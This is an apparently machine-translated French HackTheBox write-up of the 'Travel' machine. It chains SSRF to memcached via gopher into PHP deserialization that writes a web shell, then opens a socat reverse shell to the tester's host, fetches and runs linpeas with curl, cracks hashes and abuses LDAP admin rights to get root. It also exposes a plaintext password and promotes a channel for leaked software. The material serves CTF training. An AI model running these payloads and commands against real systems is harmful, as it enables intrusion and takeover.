HackTheBox. Voyage de passage. Memcache + SSRF = RCE, LPE sur LDAP



Je continue à publier des solutions envoyées à la finalisation des machines depuis le site HackTheBox .



Dans cet article, nous voyons comment obtenir RCE à l'aide de PHP Memcache et SSRF, creuser dans la base de données et voir ce qui est dangereux pour l'administrateur LDAP.



La connexion au laboratoire se fait via VPN. Il est recommandé de ne pas se connecter à partir d'un ordinateur de travail ou d'un hôte où il existe des données importantes pour vous, car vous vous trouvez dans un réseau privé avec des personnes qui connaissent quelque chose sur la sécurité de l'information.



Informations organisationnelles
, , Telegram . , , .



. , - , .



Reconnaître



Cette machine a une adresse IP de 10.10.10.189, que j'ajoute à / etc / hosts.



10.10.10.189 	travel.htb


La première étape consiste à analyser les ports ouverts. Comme il faut beaucoup de temps pour analyser tous les ports avec nmap, je vais d'abord le faire en utilisant masscan. Nous analysons tous les ports TCP et UDP de l'interface tun0 à 500 paquets par seconde.



masscan -e tun0 -p1-65535,U:1-65535 10.10.10.189 --rate=500






Maintenant, pour obtenir des informations plus détaillées sur les services qui s'exécutent sur les ports, exécutez une analyse avec l'option -A.



nmap -A travel.htb -p22,80,443






Ainsi, nous avons accès au service SSH et au serveur web nginx. L'analyse montre à quel DNS le certificat est destiné. Ajoutons-les à / etc / hosts.



10.10.10.189    www.travel.htb
10.10.10.189    blog.travel.htb
10.10.10.189    blog-dev.travel.htb


Jetons un coup d'œil à ces sites. Sur le premier, nous trouvons la description du site.







Le second est plus intéressant. On voit tout de suite qu'il s'agit d'un CMS WordPress et on retrouve le formulaire de recherche.







En vérifiant rapidement le site avec wpscan, nous ne trouvons rien. Nous allons plus loin et le troisième site rencontre une erreur 403. Passons en boucle sur les répertoires. J'utilise gobuster pour cela. Dans les paramètres, nous spécifions le nombre de flux 128 (-t), URL (-u), dictionnaire (-w) et extensions qui nous intéressent (-x).



gobuster dir -t 128 -u blog-dev.travel.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,html






Trouvez .git. Nous pouvons copier sur le référentiel.







Cela peut être fait avec une variété de programmes, j'utilise le script rip-git .



./rip-git.pl -v -u http://blog-dev.travel.htb/.git/






Et dans le répertoire courant, nous verrons les fichiers résultants et le référentiel .git.







Nous utilisons gitk pour travailler avec .git.







Il y a un changelog, à partir duquel on note la présence d'un cache et des contrôles de sécurité.







Dans le fichier rss_template.php, notez le memcache, le paramètre url et le débogage.







Le paramètre doit contenir la chaîne «custom_feed_url». Et très probablement une demande sera faite à cette adresse.







La page RSS était à blog.travel.htb .







Commençons par un serveur Web local et accédons à awesome-rss, en passant notre IP en paramètre.



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=10.10.14.120






Et nous observons que les hypothèses sont correctes. Il convient de noter que si l'url est manquante, alors www.travel.htb / newsfeed / customfeed.xml sera sélectionné .



Point d'accès



Le README dit de déplacer ces fichiers vers wp-content / themes / vingttwenty (j'ai remarqué cela en recherchant le fichier debug.php). Et le fichier de débogage peut être trouvé là.











Donc, tout cela est intéressant et pas encore clair, mais cela ressemble à des données sérialisées. Collectons une chose à partir de toutes les informations:
  1. Nous devons contacter le serveur et obtenir le fichier feed.xml.



  2. La fonction à laquelle l'url est passée utilise l'API SimplePie (qui a une bonne documentation ) et Memcache. Cette fonction renverra un objet simplepie.



  3. La fonction url_get_contents est fournie dans template.php. Dans ce cas, il y a une vérification, qui ne devrait pas nous donner la possibilité d'accéder aux fichiers sur le serveur. Mais le filtre SSRF n'est pas assez correct, car nous pouvons également accéder à localhost en utilisant les adresses 127.0.1.1, 127.1, 127.000.0.1, etc.



  4. Ensuite, les informations du fichier feed.xml s'affichent.
  5. Il existe également une classe TemplateHelper et une fonction init () qui écrit les données transférées dans le fichier spécifié.





Il reste à déterminer dans quel fichier du répertoire logs les données sérialisées sont écrites. Reportons-nous à la documentation:







Ainsi, le chemin est interprété comme MD5 (MD5 (url) + ": spc"). Vérifions cela, et pour cela, nous téléchargeons le fichier xml à partir de l'url par défaut.



wget http://www.travel.htb/newsfeed/customfeed.xml -O feed.xml


Passons maintenant à la page RSS, en passant le fichier téléchargé à l'URL.



curl http://blog.travel.htb/awesome-rss/?custom_feed_url=http://10.10.14.120/feed.xml


Et nous obtenons les données sérialisées.



curl http://blog.travel.htb/wp-content/themes/twentytwenty/debug.php






Et maintenant, en utilisant la formule ci-dessus, nous calculons le chemin interprété.







Et les 10 premiers octets correspondent! C'est là que le vecteur d'attaque est décrit - PHP memcached et SSRF. Une recherche Google m'a amené à ce script .







Il vous suffit de changer le code de notre cas. Créons des données sérialisées.



 code = 'O:14:"TemplateHelper":2:{s:4:"file";s:8:"ralf.php";s:4:"data";s:31:"<?php system($_REQUEST["cmd"]);";}'


Ainsi, nous écrirons le code <? Php system ($ _ REQUEST ["cmd"]); dans le fichier ralf.php lors de la désérialisation. Nous nous intéressons surtout à la clé xct_key, que nous pouvons déjà calculer.







Ensuite, nous obtenons le code suivant pour créer une charge.



encodedpayload = urllib.quote_plus(payload).replace("+","%20").replace("%2F","/").replace("%25","%").replace("%3A",":")
return "gopher://127.00.0.1:11211/_" + encodedpayload


Et nous allons désérialiser.



r = requests.get("http://blog.travel.htb/awesome-rss/?debug=yes&custom_feed_url="+payload)
r = requests.get("http://blog.travel.htb/awesome-rss/")


Le code complet est présenté ci-dessous (comme toujours une image).











Ok, faisons une promenade normale. Mais comme il y avait des problèmes avec python pty, créons un shell backconnect en utilisant socat. Commençons l'auditeur sur le client:



socat file:`tty`,raw,echo=0 tcp-listen:4321


Et connectez-vous depuis le serveur:



socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.10.14.89:4321






UTILISATEUR



Habituellement, dans de tels cas, vous devez vérifier la base de données de l'utilisateur à l'aide de wordpress. Trouvons le fichier wp-config.php.







Avec ces informations d'identification, connectons-nous à mysql, notre tâche est de trouver la table wp_users.



mysql -h 127.0.0.1 -u wp -p


Regardons les bases de données.







Jetons un œil à la base de données wp.











Et nous trouvons la table requise.







Certes, en essayant de forcer brutalement le hachage, nous obtenons un échec. Il n'y a pas de tels mots de passe. Ensuite, j'ai téléchargé le script linpeas sur la machine et j'ai fait quelques énumérations de base.



curl 10.10.14.89/tools/linpeas.sh > /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh ; /tmp/linpeas.sh


Nous ne trouvons rien de spécial, sauf que nous sommes dans le conteneur docker.







Mais ce script ne vérifie pas le répertoire opt. Et puisque nous trouvons juste la sauvegarde de la base de données.







Si nous regardons les lignes de ce fichier, il y a une entrée sur deux utilisateurs à la fin.







Mais le second est simplement brutal.







hashcat -a 0 -m 400 wp.hash tools/rockyou.txt






Et avec le mot de passe trouvé, connectez-vous via ssh.







RACINE



Nous trouvons également deux fichiers intéressants dans le répertoire de travail de l'utilisateur - .ldaprc et .viminfo.







Voyons ce qu'il y a à l'intérieur. Ainsi, dans le premier fichier, nous trouvons l'enregistrement ldap de notre utilisateur.







Et dans le second son mot de passe LDAP.







Regardons ça. Appelez ldapwhoami avec les options -x (authentification simple) et -w (mot de passe).



ldapwhoami -x -w Theroadlesstraveled






Nous voyons une entrée du fichier .ldaprc. Demandons des informations.



ldapsearch -x -w Theroadlesstraveled










Ainsi, nous obtenons une liste d'utilisateurs et savons que nous sommes un administrateur LDAP. Autrement dit, nous pouvons créer une clé SSH pour n'importe quel utilisateur, changer le mot de passe et entrer le groupe sudo dans le groupe! Groupe Sudo - 27.







Créons une paire de clés.







Créons maintenant un fichier de configuration.







Appliquons-les à l'utilisateur franc.



ldapmodify -D "cn=lynik-admin,dc=travel,dc=htb"  -w Theroadlesstraveled -f frank.ldif






Et connectez-vous via SSH



ssh -i id_rsa frank@travel


Utilisons maintenant sudo avec notre mot de passe.







Vous pouvez nous rejoindre sur Telegram . Vous pouvez y trouver des documents intéressants, des cours et des logiciels qui ont fui. Rassemblons une communauté dans laquelle il y aura des gens qui connaissent de nombreux domaines de l'informatique, alors nous pourrons toujours nous entraider sur tous les problèmes informatiques et de sécurité de l'information.



All Articles